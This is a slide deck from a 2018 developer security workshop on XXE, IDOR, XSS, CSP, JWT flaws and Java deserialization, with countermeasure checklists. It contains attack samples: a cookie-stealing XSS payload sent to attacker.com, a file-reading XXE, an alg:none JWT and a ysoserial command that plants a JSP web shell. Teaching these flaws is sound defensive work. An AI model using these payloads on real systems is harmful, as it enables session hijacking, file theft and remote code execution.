Slide 1

Slide 1 text

Real Security Starts where Frameworks End Thomas Konrad, SBA Research Workshop @ WeAreDevelopers 2018, Vienna

Slide 2

Slide 2 text

Why we‘re here • Frameworks solve some security problems, but not all o We’ll discuss vulnerability classes where your framework won’t help o Demos o You’ll get a “Developer’s Checklist” at the end of each vulnerability class • It‘s getting technical! (Finally) • Learn, share, get excited, discuss! • Start thinking like an attacker, and have fun with it! • Questions? Ask them right away! 2018 - SBA Research gGmbH

Slide 3

Slide 3 text

MODERN WEB FRAMEWORKS What they can do for us security-wise, and what they can‘t do 2018 - SBA Research gGmbH

Slide 4

Slide 4 text

Modern Web Frameworks • Which security flaws are treated out-of-the- box? • Where does the developer have to care? • Where do frameworks not help at all? 2018 - SBA Research gGmbH

Slide 5

Slide 5 text

Modern Web Frameworks • Server-Side o ASP.NET MVC o Spring o Ruby on Rails o Symfony o Django o Node.js • Client-Side o Vue.js o AngularJS o React o Ember.js 2018 - SBA Research gGmbH

Slide 6

Slide 6 text

OWASP Top 10 2018 - SBA Research gGmbH

Slide 7

Slide 7 text

OWASP Top 10 • A1-Injection • A2-Broken Authentication and Session Management • A3-Sensitive Data Exposure • A4-XML External Entities (XXE) • A5-Broken Access Control • A6-Security Misconfiguration • A7-Cross-Site Scripting (XSS) • A8-Insecure Deserialization • A9-Using Components with Known Vulnerabilities • A10-Insufficient Logging and Monitoring • ... • Cross-Site Request Forgery 2018 - SBA Research gGmbH

Slide 8

Slide 8 text

Current Server-Side Frameworks • A1-Injection • A2-Broken Authentication and Session Management • A3-Sensitive Data Exposure • A4-XML External Entities (XXE) • A5-Broken Access Control • A6-Security Misconfiguration • A7-Cross-Site Scripting (XSS) • A8-Insecure Deserialization • A9-Using Components with Known Vulnerabilities • A10-Insufficient Logging and Monitoring • ... • Cross-Site Request Forgery 2018 - SBA Research gGmbH

Slide 9

Slide 9 text

Current Client-Side Frameworks • A1-Injection • A2-Broken Authentication and Session Management • A3-Sensitive Data Exposure • A4-XML External Entities (XXE) • A5-Broken Access Control • A6-Security Misconfiguration • A7-Cross-Site Scripting (XSS) • A8-Insecure Deserialization • A9-Using Components with Known Vulnerabilities • A10-Insufficient Logging and Monitoring • ... • Cross-Site Request Forgery 2018 - SBA Research gGmbH

Slide 10

Slide 10 text

Conclusion • Modern Web-Frameworks only help against very few security flaws out-of-the-box • Developer needs to do manual work o Partly wrong expectations (e.g., XSS and Template Engines) o Frameworks often provide the tools o CSRF token must be inserted manually • But the situation is better than without frameworks! 2018 - SBA Research gGmbH

Slide 11

Slide 11 text

Conclusion • Security features can be used in a wrong way o HQL / DQL injection • Can MVVM frameworks help? o The experience says: Yes for XSS! 2018 - SBA Research gGmbH

Slide 12

Slide 12 text

A4 XML External Entities

Slide 13

Slide 13 text

Simple XML document • E.g. Login form o Web application sends credentials via XML POST /login.php HTTP/1.1 Host: xxe.local Content-Type: application/xml Pro Hacker SecretPassword! 2018 - SBA Research gGmbH

Slide 14

Slide 14 text

Doctype Entities • Values can also be defined via entities ]> &username; SecretPassword! 2018 - SBA Research gGmbH

Slide 15

Slide 15 text

Include files via SYSTEM • SYSTEM can be used to include files o Legit case: Document Type Definitions (DTD) • login.dtd Pro Hacker SecretPassword! ]> 2018 - SBA Research gGmbH

Slide 16

Slide 16 text

Include files via SYSTEM: Entities • Also possible for entities with the URL handler file:// ]> &username; SecretPassword! 2018 - SBA Research gGmbH

Slide 17

Slide 17 text

Include files via SYSTEM: result 2018 - SBA Research gGmbH ]> root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/usr/bin/nologin daemon:x:2:2:daemon:/:/usr/bin/nologin [...] SecretPassword!

Slide 18

Slide 18 text

XML EXTERNAL ENTITY INJECTION (XXE) Demo 2018 - SBA Research gGmbH

Slide 19

Slide 19 text

Vulnerability at Facebook (OpenID) ]> [...] http://openid.net/signon/1.0 &a; http://198.x.x.143:7806/delegate 2018 - SBA Research gGmbH

Slide 20

Slide 20 text

Vulnerability at Facebook (OpenID) 2018 - SBA Research gGmbH

Slide 21

Slide 21 text

Vulnerability at Facebook (OpenID) • PHP: With expect-Modul even direct Remote Code Execution (RCE!) • Vulnerability is fixed by now • Bug Bounty: $33.500! ]> 2018 - SBA Research gGmbH

Slide 22

Slide 22 text

Burp and XXE 2018 - SBA Research gGmbH

Slide 23

Slide 23 text

Susceptible libraries and frameworks • Spring o 3.0.0 to 3.2.3 (Spring OXM & Spring MVC) o 4.0.0.M1 (Spring OXM) o 4.0.0.M1-4.0.0.M2 (Spring MVC) • .NET o XmlTextReader o XMLDocument < 4.6 • iOS o iOS <= 4 • PHP o If libxml_disable_entity_loader isn’t used • And many more! 2018 - SBA Research gGmbH

Slide 24

Slide 24 text

XML BOMBS (BILLION LAUGHS ATTACK) 2018 - SBA Research gGmbH

Slide 25

Slide 25 text

XML Bomb • Same example like before: External Entity ]> &username; SecretPassword! 2018 - SBA Research gGmbH

Slide 26

Slide 26 text

XML Bomb • What if we define the entities recursively? ]> &lol9; SecretPassword! 2018 - SBA Research gGmbH

Slide 27

Slide 27 text

XML Bomb: Auswirkungen • Example of the previous slide o Quadratic increase of memory usage o Almost 3 GB RAM used o Can be used indefinitely o Denial of Service! 2018 - SBA Research gGmbH

Slide 28

Slide 28 text

Counter measures against XXE and XML Bombs? • Multiple solutions o Disallow Document Type Definitions (also disallows DTD) o Disallow external Entities • Depends on parser library o All common ones have config options 2018 - SBA Research gGmbH

Slide 29

Slide 29 text

Counter measures against XXE and XML Bombs in Java? 2018 - SBA Research gGmbH try { SAXParserFactory spf = SAXParserFactory.newInstance(); SAXParser saxParser = spf.newSAXParser(); XMLReader reader = saxParser.getXMLReader(); // Xerces 1: // http://xerces.apache.org/xerces-j/features.html#external-general-entities // Xerces 2: // http://xerces.apache.org/xerces2-j/features.html#external-general-entities // Using the SAXParserFactory's setFeature spf.setFeature("http://xml.org/sax/features/external-general-entities", false); // Using the XMLReader's setFeature reader.setFeature("http://xml.org/sax/features/external-general-entities", false); // Xerces 2 only: // http://xerces.apache.org/xerces-j/features.html#external-general-entities spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // remaining parser logic // ... } catch (ParserConfigurationException e) { // Tried an unsupported feature. } catch (...) {

Slide 30

Slide 30 text

Counter measures against XXE and XML Bombs in PHP? • If libxml is used bool libxml_disable_entity_loader ([ bool $disable = true ] ) 2018 - SBA Research gGmbH

Slide 31

Slide 31 text

Counter measures against XXE and XML Bombs in .NET? • Before .NET 4.0 • .NET 4.0 and newer • .NET 4.6 and newer o Protected by default against XXE XmlReaderSettings settings = new XmlReaderSettings(); settings.ProhibitDtd = true; // Default is 'true' anyway XmlReader reader = XmlReader.Create(stream, settings); XmlReaderSettings settings = new XmlReaderSettings(); settings.DtdProcessing = DtdProcessing.Prohibit; XmlReader reader = XmlReader.Create(stream, settings); 2018 - SBA Research gGmbH

Slide 32

Slide 32 text

Developer‘s Checklist: XXE • Try to avoid XML as input • If this isn‘t possible o Configure your XML parser to ignore the Doctype o Configure your XML parser to ignore external Entitites 2018 - SBA Research gGmbH

Slide 33

Slide 33 text

INSECURE DIRECT OBJECT REFERENCES 2018 - SBA Research gGmbH

Slide 34

Slide 34 text

Insecure Direct Object References • Object references are references to internal implementation objects o Files, directories, database entries, etc. … • Exploitable if these references can be manipulated • Attacker has access on content • IDs or paths are often manipulated 2018 - SBA Research gGmbH

Slide 35

Slide 35 text

Example scenario: Insecure direct object reference • Account detail page via GET parameter: • No Verification of Access Control: • An attacker can enter any account number and subsequently see its details: http://www.victim.com/accountDetails?acc_nr=123 String accNr = request.getParameter("acc_nr"); PreparedStatement pstmt = connection.prepareStatement("[...]"); [...] http://www.victim.com/accountDetails?acc_nr=any_accoun t 2018 - SBA Research gGmbH

Slide 36

Slide 36 text

Insecure Direct Object Reference - Countermeasures • Using user and session specific object references o E.g. instead of using the primary key, use user- specific mapping, such as account numbers 1, 2, 3 map to primary keys 10, 12, 25 o Bad: – http://example.com?file=Report123.xls – http://example.com?file=1 o Better: – http://example.com?file=436345345 – http://example.com?file=157667344 • Check permissions for the page 2018 - SBA Research gGmbH

Slide 37

Slide 37 text

YES NO Authorization at every request NO YES Statisticly random ID Description 1 Description 2 • Security-related acceptable solution • Enumeration of the available documents possible • Request example: http://app.at/download.j sp?DOC_ID=1056 • Security-related not acceptable • Request example: http://app.at/download.j sp?DOC_ID=1056 • Security-related not recommended • Access is possible if ID is known and the user is logged in • Request example: http://app.at/download.j sp?DOC_ID=f52fc055c48f30 7aa79532ec8caa9783 • Security-related best solution • Defensive programming • Request example: http://app.at/download.j sp?DOC_ID=f52fc055c48f30 7aa79532ec8caa9783 Authorization at file download 2018 - SBA Research gGmbH

Slide 38

Slide 38 text

Secure access control – in practice • Citibank got hacked in 2011 by insecure direct object reference • Course of the attack o Attacker logged in with a valid account into the customer area for credit card users o One parameter was incremented 10000x (Brute-force- attack) o This made it possible to see the accounts of other users o Data of these customers (Account number, email, payment history, etc.) got sold • (direct) damage: 217.000 credit cards were re-issued. Quelle: http://www.heise.de/security/meldung/Datenklau-bei-der-Citibank-gelang-durch-simple-URL-Manipulation-1260559.html 2018 - SBA Research gGmbH

Slide 39

Slide 39 text

Hack Yourself: How To Find IDOR? • Look for requests that fulfil the following requirements o The request contains an ID that references an object (e.g., https://bank.com/account- details?nr=5837148) o Only the currently logged-in user or a limited set of users have access to that object – Bank accounts – Transaction details – Messages in a messenger – Orders in an online shop – Documents in a document management system 2018 - SBA Research gGmbH

Slide 40

Slide 40 text

Hack Yourself: How To Find IDOR? • Get two user accounts where the access rights to that object differ • Prepare a request for every user (with the corresponding session ID) • Exchange object IDs • See what happens! o Can see the object? 403? • If you don’t have another user account (because you’re doing a free pentest for someone else, which you shouldn’t) o Iterate over many possible values for the object ID 2018 - SBA Research gGmbH

Slide 41

Slide 41 text

Developer‘s Checklist: IDOR • Look for requests that fulfil the following requirements o The request contains an ID that references an object (e.g., https://bank.com/account- details?nr=5837148) o Only the currently logged-in user or a limited set of users have access to that object • Implement strict access control for these requests! • Use UUIDs as object IDs as a second line of defense 2018 - SBA Research gGmbH

Slide 42

Slide 42 text

A7 CROSS-SITE SCRIPTING 2018 - SBA Research gGmbH

Slide 43

Slide 43 text

Cross-Site Scripting (XSS) 2018 - SBA Research gGmbH

Slide 44

Slide 44 text

Reflected XSS • XSS Vulnerability o User input is sent from the server to the browser o Without validating or escaping the output data • Example - error.jsp: • Normal case: http://www.example.com/error.php?msg=hello • Attacker: http://www.example.com/error.php?msg=al ert(1) <% out.println(request.getParameter("message")); %> 2018 - SBA Research gGmbH

Slide 45

Slide 45 text

Stored XSS • Postings in an Internet forum are stored without validation: • The application performs no output encoding • Input of the attacker: • When the article is viewed: Session-cookie is sent to attacker document.location='http://www.attacker.com/a.php?p='+ document.cookie String articleContent = request.getParameter("article_content"); [...] String query = "INSERT INTO article VALUES ([...], '" + articleContent + "' [...]"); 2018 - SBA Research gGmbH

Slide 46

Slide 46 text

Reflected XSS – Course of action 2. The attacker send a prepared URL to the victim 1. The victim logs on 7. The attacker takes over the victim’s session Attacker Victim Webapplication 3. The victim clicks on prepared URL 4. The server answers with the attacker’s JavaScript-code 5. JavaScript-code is interpreted by the victim’s browser 6. The victim’s browser sends the victim’s session-token to the attacker 2018 - SBA Research gGmbH

Slide 47

Slide 47 text

Stored XSS – Course of action 2. The victim logs on 7. The attacker takes over the victim’s session Attacker Victim Webapplication 3. The victim requests the attacker’s message 4. The server answers with the attacker’s JavaScript-code 5. JavaScript-code is interpreted by the victim‘s browser 6. The victim’s browser sends the victim’s session-token to the attacker 1. The attacker stores malicious JavaScript-code embedded in a forum’s message in the webapplication’s database 2018 - SBA Research gGmbH

Slide 48

Slide 48 text

Output escaping – HTML Entity Encoding • For content between two tags: • Replace all symbols with a special meaning in HTML: o & --> & o < --> < o > --> > o " --> " o ' --> ' o / --> / – forward slash is included because it helps to end a HTML tag UNTRUSTED_DATA
UNTRUSTED_DATA
2018 - SBA Research gGmbH

Slide 49

Slide 49 text

Output escaping - HTML Attribute Encoding • For content inside of attributes: • With correctly quoted strings, one can only break out with a quote o But quotes (or doublequotes) are often missing • Recommended transformation: o Except for alphanumeric characters, escape all characters less than 256 with the „Numeric Character Reference” &#xHH; (or a named entity if available)
content
content
content
2018 - SBA Research gGmbH

Slide 50

Slide 50 text

Output escaping – JavaScript Data Encoding • User Input inside JavaScript values: • No user input in places where code is directly executed • Recommended transformation: o Except for alphanumeric characters, escape all characters less than 256 with the \xHH format to prevent switching out of the data value into the script context or into another attribute. o Do not use any escaping shortcuts like \" because the quote character may be matched by the HTML attribute parser which runs first. alert('UNTRUSTED_DATA') x='UNTRUSTED_DATA'
2018 - SBA Research gGmbH

Slide 51

Slide 51 text

Practical example: Fault tolerance in browsers as a security risk • Which of these characters are dangerous? o User input gets inserted at [user-input] • In general only the " • But the following code is run by all modern browsers … • Reason: Fault tolerance is more important than strict JavaScript interpretation • Solution: Server has to do the output encoding correctly var a="abc[user-input]def"; var a="abcalert(1);def"; 2018 - SBA Research gGmbH

Slide 52

Slide 52 text

XSS: Code Review • Green = save with most TE, orange = watch out red = not save with most TE (TE = Template Engine) var a = '{{ output }}'; var b = "{{ output }}"; var {{ output }} = 'value'; // {{ output }}

{{ output }}

{{ output }} <{{ output }}>

Slide 53

Slide 53 text

WYSISWYG - Editor 2018 - SBA Research gGmbH

Slide 54

Slide 54 text

HTML input validation • Secure validation of HTML costly and error- prone o Vulnerability in MySpace allowed for SamyWorm • Secure validation frameworks are available o DomPurify (JavaScript) o HTML Purifier (PHP) o AntiSamy (Java) 2018 - SBA Research gGmbH

Slide 55

Slide 55 text

CONTENT SECURITY POLICY (CSP) 2018 - SBA Research gGmbH

Slide 56

Slide 56 text

Content Security Policy “It’s not a matter of if you will introduce an XSS vulnerability, but when.” Ben Vinegar, Disqus 2018 - SBA Research gGmbH

Slide 57

Slide 57 text

HTML output encoding • The good sides o When done right, it works really well o Frameworks (Template Engines) can do that o Often activated by default • The bad sides o Legacy websites don’t use template engines o Often a manual process o It can be done wrong o It is often done wrong 2018 - SBA Research gGmbH

Slide 58

Slide 58 text

CSP: A Word Of Warning 1. CSP is not a solution for XSS! 2. CSP is only a defense in depth! 3. Correct Output encoding is the only solution. 2018 - SBA Research gGmbH

Slide 59

Slide 59 text

What is CSP? • New HTTP response header • Created for reducing XSS risk • Whitelist for dynamic resources Content-Security-Policy: script-src 'self' cdn.example.com Refused to load the script 'http://evil.com/pwnage.js' because it violates the following Content Security Policy directive: "script-src 'self' cdn.example.com". 2018 - SBA Research gGmbH

Slide 60

Slide 60 text

CSP: Inline scripts are disabled by default 2018 - SBA Research gGmbH Content-Security-Policy: script-src 'self' cdn.example.com Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self' cdn.example.com" new Image('http://evil.com/?cookie=' + document.cookie);

Slide 61

Slide 61 text

CSP: More than just scripts 2018 - SBA Research gGmbH Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' ajax.googleapis.com google-analytics.com; style-src 'self' ajax.googleapis.com; connect-src 'self' https://api.myapp.com realtime.myapp.com:8080; media-src 'self' youtube.com; object-src 'self' youtube.com; frame-src 'self' youtube.com embed.ly

Slide 62

Slide 62 text

CSP: Violation Reporting • URI endpoint gets JSON over HTTP-POST Content-Security-Policy: default-src 'self'; report-uri http://mysite.com/report.php { "csp-report": { "document-uri": "http://example.org/page.html", "referrer": "http://evil.example.com/", "blocked-uri": "http://evil.example.com/evil.js", "violated-directive": "default-src 'self'", "original-policy": "default 'self'; report-uri http://mysite.com/report.php" } } 2018 - SBA Research gGmbH

Slide 63

Slide 63 text

CSP: Violation Reporting • Why violation reporting? o For trying CSP without problems – Content-Security-Policy-Report-Only o Notifies in case of a possible XSS attack 2018 - SBA Research gGmbH

Slide 64

Slide 64 text

CSP: Violation Reporting • Set up a new service and wait? o Not necessarily o https://report-uri.io/ o No notifications in case of a policy violation (yet). 2018 - SBA Research gGmbH

Slide 65

Slide 65 text

CSP 2: Hashes • Allows whitelisting of script content (also inline) • Content gets hashed and hash is defined as source Content-Security-Policy: default-src 'self'; script-src 'self' 'sha256-YWIzOW[...]3OAo=' alert('Hello, world.'); alert('Hello, world.'); 2018 - SBA Research gGmbH

Slide 66

Slide 66 text

CSP 2: Nonces • Allows whitelisting of inline scripts • Is generated for every page refresh • Static nonces are not only useless, but also dangerous! • Disables all other directives Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-Nc3n83cnSAd3wc3Sasdfn939hc3' alert("Allowed because nonce is valid.") 2018 - SBA Research gGmbH

Slide 67

Slide 67 text

Browser support CSP 1.0 • http://caniuse.com/#search=csp 2018 - SBA Research gGmbH

Slide 68

Slide 68 text

Browser Support CSP Level 2 • http://caniuse.com/#search=csp • April 2017: 2018 - SBA Research gGmbH

Slide 69

Slide 69 text

CSP Level 3 • Not finished yet! • Improvements over Level 2 [1] o Completely new formulated (simpler) o frame-src got undeprecated, child-src deprecated o report-uri is now report-to, Reporting- scheme was set to Reporting API 1 [2] (Draft) o manifest-src [3] was added o Much more detail improvements. 2018 - SBA Research gGmbH

Slide 70

Slide 70 text

CSP Bypasses • Sebastian Lekies collects bypasses: http://sebastian-lekies.de/csp/bypasses.php o DOM based XSS via cached content (Nonce stays the same) o Insertion point directly before nonced script element – nonce='224446802'. For the browser, it looks like the nonce attribute of the injected script element o Predicting the nonce (bad randomness) o And many more console.log('nonced script') 2018 - SBA Research gGmbH

Slide 71

Slide 71 text

CSP for my site? 1. Extract all your inline scripts! 2. Analyse, where dynamic ressources are coming from 3. Define directives one at a time 4. Start with Report-Only 5. Test very carefully, start with important modules 6. Activate it a) but keep report-uri! 7. Nonetheless, prevent XSS in your application! 2018 - SBA Research gGmbH

Slide 72

Slide 72 text

CSP: Self test • https://securityheaders.io 2018 - SBA Research gGmbH

Slide 73

Slide 73 text

CSP: Self test • https://report-uri.io/home/analyse 2018 - SBA Research gGmbH

Slide 74

Slide 74 text

CSP: Resources • https://report-uri.io/home/generate (CSP Builder) • https://scotthelme.co.uk/csp-cheat-sheet/ • http://content-security-policy.com/ • http://www.html5rocks.com/en/tutorials/security/content-security- policy/ (Introduction) • https://www.w3.org/TR/2012/CR-CSP-20121115/ (CSP Level 1.0) • https://www.w3.org/TR/2014/WD-CSP11-20140211/ (CSP Level 1.1) • https://www.w3.org/TR/CSP/ (CSP Level 2) • https://www.w3.org/TR/CSP3/ (CSP Level 3, Draft) • https://report-uri.io (Violation Reporting) • https://securityheaders.io (Self test) • http://erlend.oftedal.no/blog/csp/readiness/ (Test browser readiness) • http://www.cspplayground.com/ • http://sebastian-lekies.de/csp/bypasses.php 2018 - SBA Research gGmbH

Slide 75

Slide 75 text

Recommendations Regarding CSP • If you start from the green field using MVVM o Use a strict CSP o No unsafe-inline, no unsafe-eval 2018 - SBA Research gGmbH Content-Security-Policy: default-src 'self'; object-src 'none'; base-uri 'none'; report-uri https://your-report-collector.example.com/

Slide 76

Slide 76 text

Recommendations Regarding CSP • For legacy and more-or-less-modern applications • This behaves like o 'unsafe-inline' in CSP1 browsers (useless, but at least your application doesn‘t break) o https: 'nonce-[cspNonce]' in CSP2 browsers o 'nonce-[cspNonce]' 'strict-dynamic' in CSP3 browsers o See here for more details: https://csp.withgoogle.com/docs/strict-csp.html 2018 - SBA Research gGmbH Content-Security-Policy: object-src 'none'; script-src 'unsafe-inline' https: 'nonce-' 'strict-dynamic'; base-uri 'none'; report-uri https://your-report-collector.example.com/

Slide 77

Slide 77 text

Developer‘s Checklist: XSS 1/3 • Use a template engine that does automatic HTML output encoding! o Java: JSF o PHP: Twig (don‘t use Smarty) o .NET: Razor o MVVMs come with their own o ... • Do manual, context-sensitive output encoding in non-HTML situations o Most template engines support this o Especially important and widespread: Dynamic output of user input in JavaScript o But also: XML, CSS, CSV, ... 2018 - SBA Research gGmbH

Slide 78

Slide 78 text

Developer‘s Checklist: XSS 2/3 • Use HTML sanitization when dealing with HTML input, but don‘t do it yourself o DomPurify (JavaScript, good one!) o HTML Purifier (PHP) o AntiSamy (Java) o ... • Don‘t do Kung Fu, avoid edge cases! o Don‘t generate HTML in controllers o Don‘t directly manipulate the DOM in MVVM o Stick to the recommendations of your framework • Think: Could I break out of the context here? 2018 - SBA Research gGmbH

Slide 79

Slide 79 text

Developer‘s Checklist: XSS 3/3 • Use a sensible Content Security Policy (CSP) as a second line of defense o This behaves like – 'unsafe-inline' in CSP1 browsers (useless, but at least your application doesn‘t break) – https: 'nonce-[cspNonce]' in CSP2 browsers – 'nonce-[cspNonce]' 'strict-dynamic' in CSP3 browsers 2018 - SBA Research gGmbH Content-Security-Policy: object-src 'none'; script-src 'unsafe-inline' https: 'nonce-[cspNonce]' 'strict-dynamic'; base-uri 'none'; report-uri https://your-report-collector.example.com/

Slide 80

Slide 80 text

PASSWORD RESET PROCESS 2018 - SBA Research gGmbH

Slide 81

Slide 81 text

Passwort Reset • Some famous “hacks” were done with errors in the password reset process (e.g. Sarah Palin email hack) • This functionality is interesting for hackers because it can be used anonymously • Common attack patterns o Enumeration of user accounts o Email account got hacked => Hacker can take over ALL accounts of the user, because the password can be reset via email – How secure is your smartphone? 2018 - SBA Research gGmbH

Slide 82

Slide 82 text

Developer’s Check Diagram 2018 - SBA Research gGmbH

Slide 83

Slide 83 text

JSON WEB TOKENS (JWT) How they work and what they are made for. And most importantly: What they are not made for. 2018 - SBA Research gGmbH

Slide 84

Slide 84 text

What is JWT? • A means of representing claims to be transferred between two parties o Compact o URL-Safe • Claims are encoded as a JSON object • Additional Signature or Encryption • Specification: RFC7519 o https://tools.ietf.org/html/rfc7519 • JSON Web Token Structure: o Header: Type (typ), algorithm (alg) o Payload: JSON-Object, Contents (user name, roles) o Signature: Digital signature from the issuer 2018 - SBA Research gGmbH

Slide 85

Slide 85 text

What is JWT? 2018 - SBA Research gGmbH

Slide 86

Slide 86 text

What is JWT for? 2018 - SBA Research gGmbH

Slide 87

Slide 87 text

What JWT is not for? • For the identification of user sessions! • There are many obvious and subtle reasons for that. • Assumption: JWT is used, so that no state has to be hold on the server (statelessness). 2018 - SBA Research gGmbH

Slide 88

Slide 88 text

JWT isn’t suitable for sessions because ... • ... JWT cannot be invalidated until they expire; a real logout is not possible. 2018 - SBA Research gGmbH This expiration date is fix

Slide 89

Slide 89 text

JWT isn’t suitable for sessions because ... • ... an inactivity timeout is not possible by design. 2018 - SBA Research gGmbH

Slide 90

Slide 90 text

JWT isn’t suitable for sessions because ... • ... the security of the authentication is too strongly based on a single value, which the developers can choose by themselves and which has no technical enforced minimum requirements on the complexity: The JWT secret. 2018 - SBA Research gGmbH How secret and complex is this value really?

Slide 91

Slide 91 text

JWT isn’t suitable for sessions because ... • ... the rotation of the secret is really hart, if the JWT is used for sessions. 2018 - SBA Research gGmbH How often does this value change?

Slide 92

Slide 92 text

JWT isn’t suitable for sessions because ... • JWT tokens are not protected against reading access. 2018 - SBA Research gGmbH This information is not secret

Slide 93

Slide 93 text

JWT bears the danger of... • Secret key reusage over multiple SPs • This way, one SP can create a valid token with any user for any other SP! 2018 - SBA Research gGmbH

Slide 94

Slide 94 text

But my JWT implementation… 2018 - SBA Research gGmbH

Slide 95

Slide 95 text

Known attacks on JWT: alg: none • Some implementation just do what the alg field says! • Can you see the design problem? 2018 - SBA Research gGmbH eyJhbGciOiJub25lIn0.eyJ1c2VyIjp7ImlkIjo0 MiwibmFtZSI6IlBhdWwifX0. [Just leave the signature empty] { "alg": "none" }

Slide 96

Slide 96 text

Known attacks on JWT: RSA or HMAC? • JWT allow asymmetric algorithms • JWT libraries have the following method: • verificationKey can be used in two ways: o Using HMAC: The secret HMAC key (a.k.a JWT secret) o Using RSA: The public key of the signature 2018 - SBA Research gGmbH verify(string token, string verificationKey)

Slide 97

Slide 97 text

Known attacks on JWT: RSA or HMAC? • The public key is per definition really public with asymmetric cryptography. • Attack vector o The server waits for a token, which is signed with RSA o The attacker changes the algorithm to HMAC o The server thinks, that the token is a symmetric key • Result o Everyone, who knows the public key, can send valid JWTs. 2018 - SBA Research gGmbH

Slide 98

Slide 98 text

JWT is simple, but has design flaws • The algorithm is part of the token • The sender can choose the algorithm by himself! • The known attacks are based on this fact. 2018 - SBA Research gGmbH The sender can manipulate this

Slide 99

Slide 99 text

Requirements for secure usage of JWT • The tokens are short-lived • The tokens are only used once • Symmetric secrets are only shared between two parties • The application uses sessions (but not with JWT!) • Ad JWT secret o The secret is really secret, complex and rotated regularly o Better: Asymmetric cryptography is used. 2018 - SBA Research gGmbH

Slide 100

Slide 100 text

Recommended reading • http://cryto.net/~joepie91/blog/2016/06/13/sto p-using-jwt-for-sessions/ • http://cryto.net/~joepie91/blog/2016/06/19/sto p-using-jwt-for-sessions-part-2-why-your- solution-doesnt-work/ 2018 - SBA Research gGmbH

Slide 101

Slide 101 text

Developer‘s Checklist • Don‘t use JWT as session tokens! o Simple, random session IDs are so much more secure, flexible, and simple • Use it for SSO, that‘s what it‘s made for! o Simpler replacement for SAML • Use asymmetric crypto o To avoid the multiple-SP problem 2018 - SBA Research gGmbH

Slide 102

Slide 102 text

A8 – INSECURE DESERIALIZATION 2018 - SBA Research gGmbH

Slide 103

Slide 103 text

What is serialization? • A.k.a. marshalling, pickling, freezing, flattening 2018 - SBA Research gGmbH

Slide 104

Slide 104 text

What is serialization? 00000000: aced 0005 7372 0036 6f72 672e 7362 6172 ....sr.6org.sbar 00000010: 6573 6561 7263 682e 6a61 7661 7365 7269 esearch.javaseri 00000020: 616c 697a 6174 696f 6e64 656d 6f2e 5365 alizationdemo.Se 00000030: 6375 7265 436f 6469 6e67 4775 7275 2409 cureCodingGuru$. 00000040: 6629 cb54 a765 0200 0349 000a 736b 696c f).T.e...I..skil 00000050: 6c4c 6576 656c 4c00 0966 6972 7374 4e61 lLevelL..firstNa 00000060: 6d65 7400 124c 6a61 7661 2f6c 616e 672f met..Ljava/lang/ 00000070: 5374 7269 6e67 3b4c 0008 6c61 7374 4e61 String;L..lastNa 00000080: 6d65 7100 7e00 0178 7000 0000 0974 0003 meq.~..xp....t.. 00000090: 4d61 7874 000a 4d75 7374 6572 6d61 6e6e Maxt..Mustermann package org.sbaresearch.javaserializationdemo; import java.io.Serializable; public class SecureCodingGuru implements Serializable { private String firstName; private String lastName; private int skillLevel; public SecureCodingGuru() { this.firstName = "Max"; this.lastName = "Mustermann"; this.skillLevel = 9; } } 2018 - SBA Research gGmbH

Slide 105

Slide 105 text

Adapting the serialization- /deserialization process • Developers can adapt serialization- /deserialization process o Serialization – .writeObject() – .writeReplace() – .writeExternal() o Deserialization – .readObject() – .readResolve() – .readExternal() – .validateObject() 2018 - SBA Research gGmbH

Slide 106

Slide 106 text

The vulnerability • Vulnerable deserialization function o Runs a, by the attacker wanted, functionality (e.g. creating a file) based on the values of member variables o Attacker can change member variables • Vulnerable implementations are called “Gadgets” 2018 - SBA Research gGmbH

Slide 107

Slide 107 text

Anatomy of a gadget 2018 - SBA Research gGmbH ObjectInputStream.readObject() package library.y; public class CacheManager implements Serializable { private final Runnable initHook; public void readObject(ObjectInputStream ois) { ois.defaultReadObject(); //populate initHook initHook.run(); } } package library.x; public class CommandTask implements Runnable, Serializable { private final String command; public CommandTask(String command) { this.command = command; } public void run() { Runtime.getRuntime().exec(command); } }

Slide 108

Slide 108 text

Requirements • Serialized Java object as user input • A vulnerable class in the Classpath o Object get deserialized in any case o Attacker can choose class or library • Known libraries are only the tip of the iceberg! 2018 - SBA Research gGmbH

Slide 109

Slide 109 text

Libraries with known JD vulnerabilites • BeanShell • C3P0 • CommonsBeanutils • CommonsCollections • FileUpload • Groovy • Hibernate • JBossInterceptors • JRMPClient • JRMPListener • JSON • JavassistWeld • Jdk7u21 • Jython • MozillaRhino • Myfaces • ROME • Spring • Wicket 2018 - SBA Research gGmbH

Slide 110

Slide 110 text

Potential impact • Depends on the class / library o Remote Code Execution (e.g. Commons Collections) o Writing arbitrary files (e.g. Commons Fileupload) o Denial of Service o Everything is possible! 2018 - SBA Research gGmbH

Slide 111

Slide 111 text

Exploitation: Finding user input • Directly as serialized object • Base64 encoded (Magic Bytes) o rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5v[...] • ASCII-Hex encoded (Magic Bytes) o aced 0005 7372 0032 7375 6e2e 7265 666c POST /spring-remote-invocation HTTP/1.1 Content-Type: application/x-java-serialized-object ¬ísr 5org.springframework.remoting.support.RemoteInvocation[...] 2018 - SBA Research gGmbH

Slide 112

Slide 112 text

Exploitation: ysoserial • Proof-of-Conzept tool java -jar ysoserial.jar CommonsCollections1 \ "echo '<% Runtime.getRuntime()\ .exec(request.getParameter("cmd")); %>' >\ /var/www/shell.jsp" 00000000: aced 0005 7372 0032 7375 6e2e 7265 666c ....sr.2sun.refl 00000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A 00000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat 00000030: 696f 6e48 616e 646c 6572 55ca f50f 15cb ionHandlerU..... 00000040: 7ea5 0200 024c 000c 6d65 6d62 6572 5661 ~....L..memberVa 00000050: 6c75 6573 7400 0f4c 6a61 7661 2f75 7469 luest..Ljava/uti 00000060: 6c2f 4d61 703b 4c00 0474 7970 6574 0011 l/Map;L..typet.. 00000070: 4c6a 6176 612f 6c61 6e67 2f43 6c61 7373 Ljava/lang/Class 00000080: 3b78 7073 7d00 0000 0100 0d6a 6176 612e ;xps}......java. 00000090: 7574 696c 2e4d 6170 7872 0017 6a61 7661 util.Mapxr..java 000000a0: 2e6c 616e 672e 7265 666c 6563 742e 5072 .lang.reflect.Pr [...] 2018 - SBA Research gGmbH

Slide 113

Slide 113 text

